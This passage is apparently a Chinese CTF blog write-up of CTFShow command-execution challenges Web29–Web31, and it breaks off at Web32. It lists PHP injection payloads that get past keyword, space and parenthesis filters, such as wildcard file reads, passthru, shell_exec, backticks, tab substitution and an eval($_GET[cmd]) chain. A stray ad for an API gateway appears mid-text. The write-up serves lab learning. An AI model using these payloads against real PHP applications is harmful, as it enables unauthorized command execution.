CTFShow命令执行通关笔记:从Web29到Web40的思维跃迁
第一次接触CTFShow的命令执行题目时,我完全是个懵懂的新手。面对Web29简单的过滤规则,我甚至不知道从哪里下手。但随着一道道题目的攻克,我逐渐建立起一套完整的解题思维框架。这篇文章将记录我从Web29到Web40的完整思考过程,而不仅仅是最终的payload。
1. 初识命令执行:Web29-Web31的基础突破
Web29的过滤规则非常简单,只过滤了"flag"这个关键词。我的第一反应是尝试直接读取flag.php:
php复制?c=system('cat flag.php');
当然,这被拦截了。但很快我意识到可以使用通配符和替代命令:
bash复制?c=system('tac f*');
这里学到两个关键点:
- 通配符可以绕过对完整文件名的检测
- 替代命令(tac代替cat)可以绕过对特定命令的过滤
Web30增加了对system、php等关键词的过滤,这迫使我寻找其他命令执行函数:
| 函数名 | 特点 | 使用示例 |
|---|---|---|
| passthru | 直接输出结果 | passthru('tac f*') |
| shell_exec | 返回完整输出 | echo shell_exec('tac f*') |
| 反引号 | PHP执行运算符 | echo `tac f*` |
Web31的过滤更加严格,包括空格、分号、括号等。这时我学会了:
- 使用
%09(制表符)代替空格 - 通过
&拼接参数实现多语句执行 - 利用
eval进行二次注入:
php复制?c=eval($_GET[cmd]);&cmd=system("tac f*");
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 中级挑战:Web32-Web36的编码艺术
当Web32过滤了反斜杠、echo、分号和括号
